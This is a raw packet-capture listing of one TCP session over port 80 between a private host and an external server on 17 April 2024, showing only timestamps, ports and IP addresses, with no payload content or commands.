Apr 17, 2024 06:57:14.343605042 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.343606949 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.343620062 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.343633890 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.343661070 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.343661070 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.343975067 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.343991995 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.344024897 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.344036102 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.344042063 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.344050884 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.344077110 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.344096899 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.344306946 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.344350100 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.344366074 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.344382048 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.344396114 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.344410896 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.344429016 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.344837904 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.344855070 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.344871044 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.344882011 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.344885111 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.344904900 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.344904900 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.344928026 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.345187902 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.345211983 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.345238924 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.345251083 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.345258951 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.345264912 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.345295906 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.345321894 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.345616102 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.345633030 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.345649004 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.345664024 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.345664024 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.345694065 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.345694065 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.345726967 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.345994949 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.346012115 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.346028090 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.346041918 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.346045971 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.346045971 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.346075058 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.346075058 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.346482038 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.346529007 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.346538067 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.346554041 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.346568108 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.346594095 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.346621990 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.346637964 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.346827030 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.346854925 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.346870899 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.346875906 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.346887112 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.346894979 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.346913099 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.346942902 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.347500086 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.347517014 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.347536087 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.347548008 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.347551107 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.347584963 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.347584963 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.347584963 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.348004103 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.348031044 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.348047018 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.348061085 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.348063946 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.348063946 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.348094940 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.348094940 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.349014997 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.349059105 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.349071980 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.349088907 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.349114895 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.349128962 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.349128962 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.349132061 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.349147081 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.349158049 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.349168062 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.349174023 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.349189043 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.349211931 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.349212885 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.349231005 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.379594088 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.379632950 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.379651070 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.379669905 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.379673004 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.379702091 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.379714012 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.379750013 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.380364895 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.380402088 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.380419970 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.380436897 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.380439997 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.380469084 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.380489111 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.380508900 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.405211926 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.405250072 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.405284882 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.405318022 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.405381918 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.405383110 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.405383110 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.405383110 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.405541897 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.405579090 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.405600071 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.405613899 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.405620098 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.405630112 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.405663013 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.405663013 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.405699968 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.405738115 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.405741930 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.405771971 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.405781984 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.405785084 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.405811071 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.405811071 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.405826092 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.405829906 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.405842066 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.405848026 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.405855894 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.405873060 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.405894041 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.406105995 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.406122923 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.406138897 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.406153917 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.406155109 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.406156063 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.406186104 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.406186104 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.406498909 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.406516075 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.406548023 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.406563044 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.406563997 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.406563997 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.406583071 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.406590939 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.406598091 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.406608105 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.406624079 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.406636953 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.406640053 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.406640053 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.406658888 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.406676054 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.407145977 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.407205105 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.407319069 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.407335043 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.407350063 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.407366037 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.407366991 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.407387972 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.407392025 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.407392025 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.407403946 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.407411098 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.407418013 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.407433987 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.407434940 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.407435894 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.407449961 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.407453060 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.407464981 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.407473087 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.407479048 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.407491922 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.407510042 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.407532930 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.407965899 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.408004999 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.408019066 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.408027887 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.408041000 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.408055067 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.408062935 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.408081055 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.408096075 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.408097029 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.408118010 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.408119917 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.408135891 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.408153057 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.408603907 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.408648014 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.408659935 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.408674955 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.408701897 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.408721924 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.408726931 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.408745050 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.408761024 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.408776045 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.408777952 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.408777952 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.408797026 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.408814907 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.409053087 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.409101009 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.409136057 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.409152985 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.409168005 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.409179926 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.409202099 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.409202099 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.409208059 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.409224987 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.409245968 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.409248114 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.409265995 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.409297943 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.409301043 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.409337997 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.409539938 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.409570932 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.409581900 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.409588099 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.409601927 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.409605026 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.409625053 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.409642935 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.409991026 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.410037994 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.410038948 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.410053968 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.410068989 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.410089016 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.410089016 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.410119057 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.411772013 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.411793947 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.411815882 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.411823034 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.411829948 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.411844015 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.411873102 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.411873102 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.412194967 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.412220001 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.412235975 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.412250996 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.412255049 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.412256002 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.412286043 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.412303925 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.438216925 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.438246012 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.438261986 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.438278913 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.438385963 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.438386917 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.438386917 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.438386917 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.438484907 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.438512087 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.438527107 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.438530922 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.438543081 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.438551903 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.438571930 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.438594103 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.463279009 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.463308096 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.463325977 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.463340998 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.463342905 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.463342905 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.463365078 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.463383913 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.463488102 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.463546038 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.463562965 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.463577032 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.463644028 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.463644028 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.463644981 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.463644981 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.463797092 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.463840961 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.463845015 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.463856936 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.463871002 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.463891029 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.463891983 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.463932037 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.464144945 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.464171886 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.464195967 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.464221001 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.464231014 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.464246035 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.464268923 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.464288950 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.464431047 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.464458942 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.464481115 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.464487076 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.464502096 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.464513063 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.464535952 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.464556932 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.464953899 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.464972019 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.464988947 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.465002060 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.465004921 CEST	80	49730	185.172.128.23	192.168.2.4
